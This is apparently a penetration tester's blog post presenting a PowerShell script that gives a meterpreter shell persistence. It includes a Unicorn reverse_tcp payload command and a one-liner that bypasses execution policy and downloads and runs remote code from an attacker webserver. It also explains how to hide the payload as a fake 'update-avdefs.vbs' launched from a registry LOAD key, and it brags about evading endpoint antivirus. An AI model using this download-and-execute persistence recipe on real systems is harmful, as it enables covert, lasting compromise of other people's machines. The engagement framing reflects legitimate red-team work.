Using PowerShell & Unicorn to Get Persistence

Recently I was on an engagement where I received a meterpreter shell only to have it die within minutes before I could establish persistence. Talk about frustration! I've never had the best of luck with Metasploit's s4u_persistence module. Just to make sure, I did a quick test. I established a shell over tcp/53 on my Windows 7 domain-joined lab machine. I then ran the s4u_persistence module:

I suspected that UAC was getting in the way, but I could live with the errors. However I did a quick AV scan against the payload (CfWumDHg.exe), and it was detected by 37/60 AV engines. It was caught by Symantec, McAfee, Microsoft, and Sophos. It was *not* picked up by TrendMicro, Kaspersky, or Webroot. I had no idea what my target was using at the time, and I didn't want to take the chance, so I opted to create my own PowerShell based persistence script.

I use TrustedSec's Magic Unicorn  all the time to create my PowerShell based meterpreter payloads, and I wanted this script to be able to retrieve and use Unicorn's output with little fuss, and I needed it to be done quick in time for my next shell <grin>. Many thanks to @slobtresix for the initial legwork.

Quick and dirty, here you go: powershell-persistence.ps1 (Github). It exposes a simple method called Add-Persistence, which takes a URL argument to your Unicorn PowerShell output.

How To Use

*Assuming your target has the ability to download files from the compromised machine.

  1. Download/Clone powershell-persistence.ps1 and make it available somewhere online, or just reference it from Github like I did below.
  2. Use Unicorn to generate your desired persistence payload. The output should be a powershell command in powershell_attack.txt. Use the standard PowerShell attack, not the macro attack. For example:
    1. python windows/meterpreter/reverse_tcp VICTIMIP 4444
  3. Move powershell_attack.txt to your webserver, Dropbox, OneDrive, etc, wherever you believe your target can browse to.
  4. From your shell on your target machine, run the following:

powershell.exe -exec bypass -Command "iex (New-Object Net.WebClient).DownloadString(''); Add-Persistence http://WEBSERVER/powershell_attack.txt;"

*Note, this command works with PS v3+.

The script is really simple and will perform the following steps:

  1. Download & verify the payload (in this case powershell_attack.txt).
  2. Creates a simple VBScript wrapper that executes the Unicorn PowerShell command.
  3. Saves the VBScript as %TEMP%\update-avdefs.vbs and marks it as hidden.
  4. Add a LOAD key to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows with a value of the script path. This gets executed when the user logs in.

If everything goes well, you will get output indicating success. Below is an example of running the script from a shell, followed by a system reboot:

Notice our shell came back right away after the user logged in.

Yes, there are better ways to do persistence. Best is probably PowerSploit persistence here, or building it into an evil macro from the start using enigma0x3's Generate-Macro, but I wanted something that would work directly with my Unicorn payload.

As far as AV goes.... well, I just ran this (successfully) on an enterprise Domain Controller running Symantec Endpoint Protection and Malwarebytes. I'm not too worried. ;-)

Happy hunting!